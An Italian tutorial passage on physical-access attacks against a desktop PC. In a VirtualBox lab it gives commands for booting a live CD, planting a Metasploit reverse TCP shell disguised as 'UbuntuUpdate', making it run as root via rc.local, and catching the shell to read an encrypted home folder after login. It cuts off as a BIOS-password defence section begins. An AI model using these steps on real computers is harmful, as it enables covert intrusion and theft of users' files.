Attaccare i server 3 parte

Attaccare un PC

Dal punto di vista dell’attaccante,
la differenza principale tra un server
e un Personal Computer è che un server
ha varie porte aperte (come quelle per
HTTP o FTP), mentre un desktop non
ne ha. Questo vuol dire che quando
si attacca un desktop, si deve utilizzare
un approccio differente. Se riuscite
ad avere accesso fisico a un computer,
trarne dei dati è facile. Il modo più facile
di farlo è inserire una distro live su CD
o su chiave USB, poi avviare
la macchina da questa distro e montare
il disco. Questo dovrebbe darvi pieno
accesso all’intero disco fisso.
Comunque, se l’utente è conscio
di questo pericolo, può sempre ricorrere
alla cifratura del disco (di tutto o di una
sua parte), rendendo più difficile questo
tipo di attacco. In alcune distribuzioni
(come Ubuntu) l’utente è in grado
di cifrare la partizione home. Questo
vuol dire che quando si fa il boot
da una distro live è possibile leggere
i file di sistema ma non quelli
dell’utente. Non ci sono attacchi
particolari noti per i moderni algoritmi
di cifratura (tranne alcuni casi),
ma questo non vuol dire che non sia
possibile trovare un modo per accedere
ai dati, basta essere un po’ furbi. Ora
vi mostriamo come inserire un cavallo
di troia nella macchina per ottenere
l’accesso ai file dopo che l’utente
ha montato la partizione. Potete provare
voi stessi con VirtualBox. I prossimi
passi funzionano con Ubuntu come
distro vittima, e BackTrack come distro
dell’attaccante, ma potreste usarne
altre, basta che abbiano le funzionalità
richieste. La vittima deve avere una
partizione home cifrata e il sistema
attaccante deve essere dotato di
Metasploit Framework. Per prima cosa
create una macchina virtuale con
una Ubuntu recente, assicurandovi di
attivare l’opzione di cifratura della home
in fase di installazione. La scheda di rete
di questa macchina dovrebbe essere
impostata come Scheda solo host. Con
il sistema installato e la VM in esecuzione,
andate in Archiviazione e assicuratevi
che alla voce Lettore CD/DVD non
ci sia selezionata l’ISO di Ubuntu ma
piuttosto mettete quella di BackTrack.
Riavviate il sistema. Partirà BackTrack
proprio come fa un liveCD su una
macchina vera. Scegliete la prima voce
di menu al boot. Di default il sistema vi
farà entrare come root in un ambiente
testuale. Per avviare il desktop scrivete
startx
Ora dovete montare il disco fisso
con Ubuntu, quindi aprite un terminale
(Ctrl+Alt+T) e digitate
mkdir /mnt/victim
mount /dev/sda1 /mnt/victim
Ora potete navigare
nel disco ma se
provate a entrare
nella home vedrete
solo un file di testo
che dice che
il contenuto è cifrato.
A questo punto
dovete scoprire l’IP della vittima: usate
come prima ifconfig. Sul computer
vittima create il cavallo di troia,
in questo caso una reverse tcp shell,
usando msfpayload digitando
mfspayload linux/x86/shell/reverse_tcp
LHOST=192.168.56.101 LPORT=443
X > /mnt/victim/bin/UbuntuUpdate
dove 192.168.56.101 è l’IP
dell’attaccante. Questo comando crea
un eseguibile chiamato UbuntuUpdate
(un programma dal nome innocuo che
non insospettisce l’utente se lo vede
tra i processi attivi) che si connetterà
alla macchina attaccante sulla porta
443. Rendetelo eseguibile con
chmod +x /mnt/victim/bin/
UbuntuUpdate
Ora dovete farlo eseguire. Usando
il vostro editor di testo preferito
aggiungete la linea
/bin/UbuntuUpdate
al file /mnt/victim/etc/rc.local,
subito prima della riga
exit 0
Questo file viene eseguito al boot
del computer. Con il PC vittima pronto,
potete approntare la macchina
attaccante facendole attendere
la connessione. Aprite un terminale
e scrivete
msfcli exploit/multi/handler
PAYLOAD=linux/x86/shell/reverse_tcp
LHOST=192.168.56.101
LPORT=443 E
Per lanciare l’attacco riavviate
la macchina vittima senza il liveCD
(nella macchina virtuale disattivate
il boot da BackTrack). Quando sarà
arrivata alla schermata di login, essa
sarà connessa alla macchina attaccante.
Nel terminale digitate msfcli
e dovreste avere accesso a una shell
della vittima (non c’è il prompt).
Se digitate il comando whoami ottenete
root come risposta. Visto che rc.local
viene eseguito con i permessi di root,
questi seguono la vostra sessione
remota. Dal terminale remoto potete
navigare tra i file, eseguire del codice,
aggiungere utenti e fare tutto quello
che volete. Non potete, però, montare
la directory home senza la password
dell’utente, quindi dovete attendere che
esso faccia il login. Non appena l’utente
inserisce la sua password nel computer
vittima, il sistema monta il disco cifrato
e voi potrete osservare, cancellare
o modificare i file dell’utente come
se il disco non fosse cifrato.
Password del BIOS
Potete impedire che qualcuno faccia